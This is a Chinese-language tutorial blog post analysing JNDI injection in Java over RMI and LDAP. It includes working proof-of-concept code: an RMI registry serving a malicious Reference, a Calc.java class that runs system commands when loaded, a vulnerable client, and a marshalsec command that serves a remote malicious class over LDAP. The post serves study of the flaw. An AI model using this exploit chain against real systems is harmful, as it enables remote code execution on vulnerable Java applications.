JNDI注入原理分析(RMI、JNDI)


JNDI注入原理分析(RMI、JNDI)

简介:

JNDI(The java Naming and Directory Interface,java命名和目录接口)是一组在Java应用中访问命名和目录服务器的API,命令服务将名称和对象联系起来,使得我们可以用名称访问对象。
这些命名/目录服务提供者( 本次分析RMI、LADP):
  • RMI (JAVA远程方法调用)
  • LDAP (轻量级目录访问协议)
  • CORBA (公共对象请求代理体系结构)
  • DNS (域名服务)

JDNI注入原理:

由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,使用的是 URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。
但是 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase属性会对JNDI属性进行的限制。
  1. JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
  2. JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类
  3. JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
0

JNDI-RMI示例:

这里用的jdk1.7.0_2,不受上面提到的java安全参数影响
Client.java:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
       String uri = "rmi://127.0.0.1:1098/aaa";  //rmi
        //String uri = "ldap://127.0.0.1:1389/aaa"; //ldap
        Context ctx = new InitialContext();
        ctx.lookup(uri);//
    }
}

Server.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws Exception {
        String className = "Calc"; //类名
        String url = "http://127.0.0.1:8000/";//远程类地址
        Registry registry = LocateRegistry.createRegistry(1098);//rmi监听端口
        Reference reference = new Reference(className, className, url);//按照lookup需要一个Reference类
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.rebind("aaa", referenceWrapper);//绑定一个stub
        System.out.println("rmi://127.0.0.1/hacked is working...");
    }
}

Calc.java(恶意类)

import java.lang.Runtime;
import java.lang.Process;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Calc implements ObjectFactory {
    {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }

    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public Calc() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"calc"};
        Process pc = rt.exec(commands);
        pc.waitFor();
        return null;
    }
}

DEBUG分析:

在lookup处打下断点,进行跟进分析:

 

 跟进后做了一些的判断,有个decodeObject()传入的参数是我们控制的参数

判断是否是Reference,下面这个getb

 

 这里来到处理的核心代码:在NamingManager#getObjectInstance中

在NamingManager#getObjectFactoryFromReference中,会去本地找,未找到再去远程加载:(这里LoadClass就是加载Class,会调用该对象的静态方法)

静态方法调用的计算器:

 

 

 然后我们看到clas.newInstance方法(该方法作用示例化一个对象,并且加载该类的public无参构造方法),代码块和无参构造方法Calc弹出:

调用远程恶意加载类的getObjectInstance:

 

 

JNDI-LDAP:

原理:

只要我们能够构造恶意工厂类就可以实现,这里LDAP服务也可以返回恶意工厂。

演示:

服务端:

这里直接使用marshalsec启动LADP服务,端口默认1389:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#Calc

受害端:

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
    public static void main(String[] args) throws NamingException {
        String uri = "ldap://127.0.0.1:1389/Calc";
        Context ctx = new InitialContext();
        ctx.lookup(uri);
    }
}

恶意类:和上面的是一样的Calc.java

最后还是4个计算器被弹出

 

 总结:

1.代码块,静态方法、构造方法、getObjectInstance(),都会被执行。

2.jndi攻击听起来抽象,就这理解为可以远程加载我们的恶意类;加载顺序是先判断是否有本地存在调用的类,不存在就去远程访问。

3.编译恶意类时不要有包名,否则报错。

4.javac版本和受害机器版本最好是相同Java版本,反正现在都用工具自动生成这个问题不大。()

5.远程加载时会调用一下方法并且会触发相关代码:
  • class.forname 、loadclass会触发类的静态方法
  • class.newInstance 会触发远程类的代码块和无参构造方法
  • 最后factory调用了getObjectInstance()方法(factory就是我们的可控类)

 

参考链接:

https://www.cnblogs.com/yyhuni/p/15083613.html

 http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/

 


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM